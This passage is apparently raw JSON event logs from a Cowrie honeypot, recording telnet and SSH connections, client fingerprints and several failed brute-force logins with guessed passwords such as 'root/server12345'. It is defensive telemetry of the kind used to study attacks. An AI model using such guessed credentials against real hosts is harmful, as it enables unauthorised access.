","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:55.742797Z","src_ip":"159.203.92.129","session":"1422d058c846","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alumni","password":"123456","message":"login attempt [alumni/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:55.754508Z","src_ip":"159.203.92.129","session":"1422d058c846","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":41544,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2e313d867c2","protocol":"telnet","message":"New connection: 169.38.112.222:41544 (10.17.0.5:23) [session: d2e313d867c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:55.759174Z"}
{"eventid":"cowrie.session.closed","duration":30.95558452606201,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:56.349141Z","src_ip":"152.53.125.71","session":"c698463cf15f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:56.779719Z","src_ip":"159.203.92.129","session":"1422d058c846","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":41334,"dst_ip":"10.17.0.5","dst_port":23,"session":"35f6ee544162","protocol":"telnet","message":"New connection: 152.53.125.71:41334 (10.17.0.5:23) [session: 35f6ee544162]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:57.243903Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":41348,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc27ea8c7930","protocol":"telnet","message":"New connection: 152.53.125.71:41348 (10.17.0.5:23) [session: cc27ea8c7930]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:57.500074Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":46058,"dst_ip":"10.17.0.5","dst_port":23,"session":"f118c2c489cd","protocol":"telnet","message":"New connection: 169.38.112.222:46058 (10.17.0.5:23) [session: f118c2c489cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:57.733126Z"}
{"eventid":"cowrie.session.closed","duration":34.046849489212036,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:58.257370Z","src_ip":"162.253.42.116","session":"ad0a2494e86a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.003666400909424,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:58.381992Z","src_ip":"152.53.125.71","session":"5a8efe35c1da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.211374282836914,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:59.677670Z","src_ip":"159.203.13.64","session":"dd9edb0bf882","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.543206930160522,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:00.082709Z","src_ip":"152.53.125.71","session":"4d368e5ec97a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.882370710372925,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:00.259437Z","src_ip":"152.53.125.71","session":"9f99c8946025","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.756991147994995,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:00.273908Z","src_ip":"152.53.125.71","session":"69844b1c7d55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.392738819122314,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:01.130176Z","src_ip":"169.38.112.222","session":"6883d94bcbfc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03145170211792,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:01.325004Z","src_ip":"152.53.125.71","session":"eb3c5b6cefb3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":41360,"dst_ip":"10.17.0.5","dst_port":23,"session":"579932bd6a84","protocol":"telnet","message":"New connection: 152.53.125.71:41360 (10.17.0.5:23) [session: 579932bd6a84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:02.124654Z"}
{"eventid":"cowrie.session.closed","duration":31.043285369873047,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:02.840826Z","src_ip":"169.38.112.222","session":"d2635faaba84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.215.80.173","src_port":50708,"dst_ip":"159.203.135.109","dst_port":22,"session":"afe9a964c600","protocol":"ssh","message":"New connection: 103.215.80.173:50708 (159.203.135.109:22) [session: afe9a964c600]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:03.041528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:03.046674Z","src_ip":"103.215.80.173","session":"afe9a964c600","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:03.368141Z","src_ip":"103.215.80.173","session":"afe9a964c600","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":56846,"dst_ip":"10.17.0.5","dst_port":23,"session":"65501f81c5d5","protocol":"telnet","message":"New connection: 159.203.13.64:56846 (10.17.0.5:23) [session: 65501f81c5d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:03.374071Z"}
{"eventid":"cowrie.session.closed","duration":30.63263463973999,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:04.162059Z","src_ip":"169.38.112.222","session":"346f07f0f1f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.287591218948364,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:04.256862Z","src_ip":"152.53.125.71","session":"f8e2b542f6eb","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"server12345","message":"login attempt [root/server12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:04.551149Z","src_ip":"103.215.80.173","session":"afe9a964c600","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":41256,"dst_ip":"10.17.0.5","dst_port":23,"session":"7704fb1eb230","protocol":"telnet","message":"New connection: 152.53.125.71:41256 (10.17.0.5:23) [session: 7704fb1eb230]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:05.433196Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:05.762621Z","src_ip":"103.215.80.173","session":"afe9a964c600","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.33053994178772,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:06.122122Z","src_ip":"169.38.112.222","session":"503d2f0218d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69078540802002,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:06.277432Z","src_ip":"169.38.112.222","session":"eeb4545cc3a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":41902,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4f1582fb3b3","protocol":"ssh","message":"New connection: 186.13.24.118:41902 (159.203.135.109:22) [session: d4f1582fb3b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:08.727475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:08.731303Z","src_ip":"186.13.24.118","session":"d4f1582fb3b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:08.896108Z","src_ip":"186.13.24.118","session":"d4f1582fb3b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":46060,"dst_ip":"10.17.0.5","dst_port":23,"session":"68ee1fcc51a1","protocol":"telnet","message":"New connection: 169.38.112.222:46060 (10.17.0.5:23) [session: 68ee1fcc51a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:09.413123Z"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser123123","message":"login attempt [ftpuser/ftpuser123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:09.592645Z","src_ip":"186.13.24.118","session":"d4f1582fb3b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":41270,"dst_ip":"10.17.0.5","dst_port":23,"session":"22697c37485a","protocol":"telnet","message":"New connection: 152.53.125.71:41270 (10.17.0.5:23) [session: 22697c37485a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:09.885627Z"}
{"eventid":"cowrie.session.closed","duration":30.267733335494995,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:10.121853Z","src_ip":"152.53.125.71","session":"c65366f38c8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87992763519287,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:10.277328Z","src_ip":"152.53.125.71","session":"0e2a4d6eff65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.881291151046753,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:10.297425Z","src_ip":"152.53.125.71","session":"08b86e0c39d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:10.762337Z","src_ip":"186.13.24.118","session":"d4f1582fb3b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":41284,"dst_ip":"10.17.0.5","dst_port":23,"session":"86c84f96fe08","protocol":"telnet","message":"New connection: 152.53.125.71:41284 (10.17.0.5:23) [session: 86c84f96fe08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:11.641608Z"}
{"eventid":"cowrie.session.closed","duration":30.373944997787476,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:12.155666Z","src_ip":"152.53.125.71","session":"524fdf073f4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.26795983314514,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:12.177787Z","src_ip":"169.38.112.222","session":"001a93d72b89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":56262,"dst_ip":"10.17.0.5","dst_port":23,"session":"b857bff5661c","protocol":"telnet","message":"New connection: 169.38.112.222:56262 (10.17.0.5:23) [session: b857bff5661c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:12.781690Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":56276,"dst_ip":"10.17.0.5","dst_port":23,"session":"07b1adfa7dde","protocol":"telnet","message":"New connection: 169.38.112.222:56276 (10.17.0.5:23) [session: 07b1adfa7dde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:13.353473Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":56290,"dst_ip":"10.17.0.5","dst_port":23,"session":"075bf22ed0c1","protocol":"telnet","message":"New connection: 169.38.112.222:56290 (10.17.0.5:23) [session: 075bf22ed0c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:13.553907Z"}
{"eventid":"cowrie.session.closed","duration":31.136900901794434,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:14.168370Z","src_ip":"169.38.112.222","session":"3a1707955e86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":56300,"dst_ip":"10.17.0.5","dst_port":23,"session":"83818e8d5cff","protocol":"telnet","message":"New connection: 169.38.112.222:56300 (10.17.0.5:23) [session: 83818e8d5cff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:14.826453Z"}
{"eventid":"cowrie.session.closed","duration":30.953453540802002,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:15.236885Z","src_ip":"152.53.125.71","session":"184810f93ce2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.55652403831482,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:16.144800Z","src_ip":"169.38.112.222","session":"fc904a350ffd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":55088,"dst_ip":"10.17.0.5","dst_port":23,"session":"577afb7a4f6d","protocol":"telnet","message":"New connection: 152.53.125.71:55088 (10.17.0.5:23) [session: 577afb7a4f6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:17.376039Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":55104,"dst_ip":"10.17.0.5","dst_port":23,"session":"c34f489a1f44","protocol":"telnet","message":"New connection: 152.53.125.71:55104 (10.17.0.5:23) [session: c34f489a1f44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:17.494589Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":54580,"dst_ip":"10.17.0.5","dst_port":22,"session":"02f80bbba516","protocol":"ssh","message":"New connection: 194.59.206.2:54580 (10.17.0.5:22) [session: 02f80bbba516]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:17.577005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:17.581331Z","src_ip":"194.59.206.2","session":"02f80bbba516","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:17.670406Z","src_ip":"194.59.206.2","session":"02f80bbba516","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:17.764340Z","src_ip":"194.59.206.2","session":"02f80bbba516","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":56768,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a7d2e5dddc6","protocol":"telnet","message":"New connection: 159.203.13.64:56768 (10.17.0.5:23) [session: 0a7d2e5dddc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:17.878190Z"}
{"eventid":"cowrie.session.closed","duration":30.53402829170227,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:18.120621Z","src_ip":"169.38.112.222","session":"dd0599f8faeb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.094401597976685,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:18.461765Z","src_ip":"152.53.125.71","session":"0dd07408ab36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":55108,"dst_ip":"10.17.0.5","dst_port":23,"session":"9064b50a33c0","protocol":"telnet","message":"New connection: 152.53.125.71:55108 (10.17.0.5:23) [session: 9064b50a33c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:19.589884Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":52360,"dst_ip":"10.17.0.5","dst_port":23,"session":"d96519e253d2","protocol":"telnet","message":"New connection: 169.38.112.222:52360 (10.17.0.5:23) [session: d96519e253d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:20.503793Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":52374,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b6ca0788bd4","protocol":"telnet","message":"New connection: 169.38.112.222:52374 (10.17.0.5:23) [session: 1b6ca0788bd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:21.795865Z"}
{"eventid":"cowrie.session.closed","duration":30.562567234039307,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:22.280612Z","src_ip":"169.38.112.222","session":"20f5c15c0ed4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":55114,"dst_ip":"10.17.0.5","dst_port":23,"session":"92257d8aa7a5","protocol":"telnet","message":"New connection: 152.53.125.71:55114 (10.17.0.5:23) [session: 92257d8aa7a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:22.390999Z"}
{"eventid":"cowrie.session.closed","duration":30.8959379196167,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:23.107081Z","src_ip":"169.38.112.222","session":"e48534cc55a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":55124,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f37618faa14","protocol":"telnet","message":"New connection: 152.53.125.71:55124 (10.17.0.5:23) [session: 7f37618faa14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:23.286921Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":55130,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa68c41ff760","protocol":"telnet","message":"New connection: 152.53.125.71:55130 (10.17.0.5:23) [session: fa68c41ff760]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:23.804137Z"}
